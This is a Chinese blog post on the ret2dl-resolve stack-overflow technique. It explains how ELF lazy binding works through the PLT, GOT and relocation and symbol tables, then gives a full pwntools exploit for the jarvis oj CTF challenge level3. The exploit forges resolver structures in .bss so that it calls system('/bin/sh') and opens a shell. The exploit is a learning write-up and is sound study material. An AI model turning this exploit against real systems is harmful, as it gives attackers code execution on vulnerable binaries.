linux 栈溢出学习之return_to_dl-resolve

37 篇文章 3 订阅

符号动态解析原理

符号解析

一个可执行文件可能会包含外部符号,可以简单的理解为包含“库函数”。这些函数(符号),在运行的时候必须得知道他们的地址,一个可执行文件在装载的时候,即使其本身装载的位置是固定的,其“库函数”所在的文件的装载位置是不定的,但是又必须知道其精确地址才可以进行运行。

所以,符号解析,即将外部符号的具体地址找到,包含两种方法:

  • 静态解析:在编译之后的链接过程中,将外部符号所在的共享库的整个文件都复制过来,这样就可以确定其所在的位置了
  • 动态解析:在运行时动态的进行解析,获取外部符号的地址

由于静态解析的种种不方便,我们大多数时候使用的都是动态解析。

elf相关格式

elf是linux下的可执行文件的格式(其实还包括.o目标文件等等,只是我们这里只在意可执行文件),他的格式有两种“视图”,即两种不同的观点,换句话说,虽然是同一个文件,其部分内容在不同的时候对他的解析不尽相同,我们在这里只关心其链接视图。

链接视图:

elf header ELF 文件头
program header 程序头,在链接视图下无作用,可选
section 1
section 2
section n
Section Header section头

这里的section和segment分别对应链接视图和执行视图,其中文翻译容易混淆,所以不翻译。

我们这里主要需要知道 ELF 文件头里边包含了section header的相关信息,可通过其找到section header,而section header又包含了各个section的信息,可用section header找到各section

动态解析

简介

linux的动态解析的原理主要是通过一种占位的思想,可以这么近似的理解,将原来符号的位置先暂时保存为解析函数所在的位置,这样第一次运行这个函数的时候会跳到解析函数,解析函数找到了真正的符号位置之后,再将原来符号的位置写为其真正的位置,这样第二次开始就不会再解析了,避免了多次解析。

具体分析

PLT和GOT

根据这个简介,我们来看下具体的情况。

在调用一个函数的时候,比如write函数,生成的文件其实是write@PLT,这里的PLT,即过程链接表,是一段小程序,由于代码在text段,text段是不允许写的,所以根据刚才的思路,我们如果要写回去,就不能够让他在text段,所以使用了PLT,将他和text段分开,放在其他位置。

调用函数的时候,即进入plt表,plt表每一个表项(一个符号一个表项),有三句汇编程序

jmp [someWhere@GOT]
push someIndex
jmp plt_0

第一句的someWhere@GOT,即简介里提到的占位的地址了,这里还要注意的是,这个地址并不是在PLT上,而是在另外一个表,即GOT里边,GOT里边就是存的地址,也就是说GOT里边只存了各个外部符号的地址,即占位地址,这样方便修改,第一次运行的时候,这里的占位地址就是第二句话,即push someIndex这句话的地址,那么第一次运行的时候这句话就没有起到作用。 后面两句话,push是将一个参数,即someIndex放入栈中,然后跳入plt_0,即plt的第一个表项,第一个表项是一个特殊的表项,里边存的是动态链接器的入口,那么这样就可以跳到动态链接器里边进行动态解析符号了。

通过这样巧妙的方法,第一次运行的时候,先进入PLT,然后根据GOT表中的地址,跳转到第二条语句处,然后进入动态解析的函数,第二次即以后再运行的时候,进入PLT,由于此时GOT表中的地址已经被改为真实的地址,所以根据GOT表中的地址再跳转的时候就直接进入真实位置,不再进行解析了。

解析过程

解析的过程是比较绕的,我们可以根据一条线索来讨论,这样更加清晰
1. 跳转到.plt
2. 跳转到.got.plt(即上一节提到的GOT表真实的名字,.got是变量的地址,.got.plt是函数的地址)
3. 第一次运行,push index,进入PLT 第一个表项(0号表项),进入解析过程
4. 通过index+ (.rel.plt的地址) 找到Elf32_rel结构,这个结构包括两个内容{r_offset, r_info}
5. 通过Elf32_rel结构的r_info找到 dynsym section中的sym项的索引
6. 通过sym项索引在dynsym section中找到Elf32_sym结构,这个结构体包括多个内容{st_name, st_value, st_size, st_info, st_other},其中st_name为字符串表中该字符串的索引
7. 通过st_name,在dynstr中找到字符串
8. 根据字符串找到目标地址

根据这条线索可以比较清晰的理解这个过程,我在这里主要是对这个线索做一个记录,具体的示例可以去参照其他的一些相关内容,其中的一些数据结构

typedef struct {
    Elf32_Addr r_offset;    // 对于可执行文件,此值为虚拟地址,即在got表中的地址
    Elf32_Word r_info;      // 包含了TYPE和SYM两条信息
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info)>>8) //info中SYM的信息,即符号表索引通过这个进行提取
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

typedef struct
{
    Elf32_Word st_name;     // Symbol name(string tbl index)
    Elf32_Addr st_value;    // Symbol value
    Elf32_Word st_size;     // Symbol size
    unsigned char st_info;  // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;

return to dl-resolve

基本思路

这种方法我目前遇到的主要是在需要return to libc的时候却不知道libc的基地址的时候用到,可以在不知道libc地址的情况下调用自己想要外部符号,比如调用system

思路为:
1.栈溢出,在bss段构造伪栈
2.在伪栈里边存储数据。 构造一条伪解析链
3.解析这个伪解析链,执行我们想用到的外部符号

其中需要在bss段构造伪栈然后在伪栈中存储的目的主要是因为bss段的位置是知道的,否则无法确定伪解析链所需要的数据结构所在的位置

伪解析链需要的数据:
1. 构造index,使得index + (.rel.plt的地址)落在我们伪造的Elf32_rel结构体上
2. 伪造的Elf32_rel的结构体的r_info所在的索引值×0x10(0x10为Elf32_sym的大小)落在我们伪造的Elf32_sym的位置(因此这里Elf32_sym所在的位置需要0x10对齐,否则无论多少乘0x10都不可能刚好落在他开始的位置)
3. 伪造Elf32_sym结构体的st_name,使得st_name + (.dynstr的地址)落在我们想要调用的函数的字符串的起始位置

实例

jarvis oj的一道题目[XMAN]level3
https://www.jarvisoj.com/challenges

题目比较裸:

//题目伪代码
int main() {
    vulnerable_function();
    write(stdout, "Hello, world!", 0xeu);
}

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-88h]@1

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

漏洞即第二个函数栈溢出了,不过开启了NX,需要使用这种方法进行构造。 构造方法查看代码:

from pwn import *


DEBUG = 0
if DEBUG:
    p = process('./level3')
else:
    p = remote('pwn2.jarvisoj.com', 9879)

def pwn():
    global p
    cmd = '/bin/sh'
    elf = ELF('./level3')

    read_plt = elf.plt['read'] #read 在plt中地址
    write_plt = elf.plt['write'] #write 在plt中的地址

    stack_size = 0x800
    bss_addr = elf.bss() #bss地址
    base_stage = bss_addr + stack_size #我们构造的伪栈所在的位置 

    plt_0 = elf.plt['read'] - 0x10 # plt_0的位置
    rel_plt = 0x80482b0 # .rel.plt的位置
    index_offset = base_stage + 28 - rel_plt # 伪Elf32_rel所在的位置,base_stage+28是因为在之后的payload当中恰好放在了这个偏移这
    dynsym = 0x80481cc 
    dynstr = 0x804822c
    fake_sym_addr = base_stage + 36 # 伪造的Elf32_sym所在的位置
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #根据上文,这个数值必须为0x10对齐的,否则没法落在上面
    fake_sym_addr += align # 对齐操作

    index_dynsym = (fake_sym_addr - dynsym) / 0x10 #索引,因为乘0x10得地址,除以0x10即为伪造的索引值
    r_info = (index_dynsym << 8) | 0x7 #0x7是type,保持不变就行,然后和索引组合一下,这个组合方式根据前文获取的方法倒过来就可以得到了
    fake_rel = p32(elf.got['write']) + p32(r_info) # 伪造的Elf32_rel
    st_name = (fake_sym_addr + 0x10) - dynstr # 伪造的st_name指向的字符串相对于dynstr的位置
    fake_sym = p32(st_name) + p32(0x0) + p32(0x0) + p32(0x12) # 伪造的Elf32_sym,后面几个值一般是固定的,或者可以通过objdump去查看write或者read之类的对应的是多少,直接抄过来就好

    #rop需要的gadget
    pop_ret = 0x08048519 # pop three times then ret
    pop_ebp_ret = 0x0804851b #pop ebp, ret
    leave_ret = 0x08048482 # leave, ret


    #先进行第一轮溢出,操纵EIP,调用read(以放入真正的payload,因为现在还位于栈上,我们需要先把读入的位置换到我们的伪栈位置)

    fill_up = 'a' * 140
    fill_up += p32(read_plt) #调用read
    fill_up += p32(pop_ret) # read之后的参数,为pop三次然后ret的地址,这是因为需要抬高esp,来跳过read的三个参数
    fill_up += p32(0) #stdin
    fill_up += p32(base_stage) #读入的位置,指向我们伪造的栈的位置
    fill_up += p32(100) # 读入字节数量
    #payload的读入在这个位置,然后才执行下面的三个语句
    fill_up += p32(pop_ebp_ret) #push base_stage into ebp 将伪栈地址放入ebp
    fill_up += p32(base_stage) 
    fill_up += p32(leave_ret) # mov esp, ebp; pop ebp; ret;so that ebp into esp,将ebp拿给esp
    #到这里,我们完成的操作有:
    #1. 调用read,读入payload到伪栈位置
    #2. 使得esp指向伪栈的地址,于是之后伪栈开始的位置成为了系统认为的栈的位置
    p.sendline(fill_up)
    #发送fill_up,然后构造解析链
    payload = 'AAAA' #上一个payload发送完成之后最后一句话是ret,所以这里是所有任务完成之后回ret的位置,我们这里不需要他再正常返回了,随便占位就行
    payload += p32(plt_0) #ret到的位置,进入plt_0
    payload += p32(index_offset) # plt_0的参数,伪造的index
    payload += 'AAAA' # no use return address plt_0调用后的返回位置,同理,占位即可
    payload += p32(base_stage + 80) # 解析之后的函数需要的参数,我们执行的是system("/bin/sh"),这里即"/bin/sh"的位置
    payload += 'A' * 8 # 补齐,因为我们的elf32_rel位于+28的位置,这里补齐一下
    #payload offset 28 is here
    #so here should be the fake Elf32_Rel { r_offset; r_info; }
    payload += fake_rel 
    payload += 'A' * align #对齐一下,保证与.dynsym相差0x10的整数倍
    payload += fake_sym 
    payload += 'system\00' #符号的字符串,注意,C风格需要\x00终止
    payload += 'A' * (80 - len(payload)) #补齐
    payload += cmd + '\x00' #解析之后的字符串,之前的+80即指向了这里
    payload += 'A' * (100 - len(payload)) #因为之前读入了100个字节,补齐100个字节
    p.sendline(payload)

    p.interactive()




if __name__ == '__main__':
    pwn()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值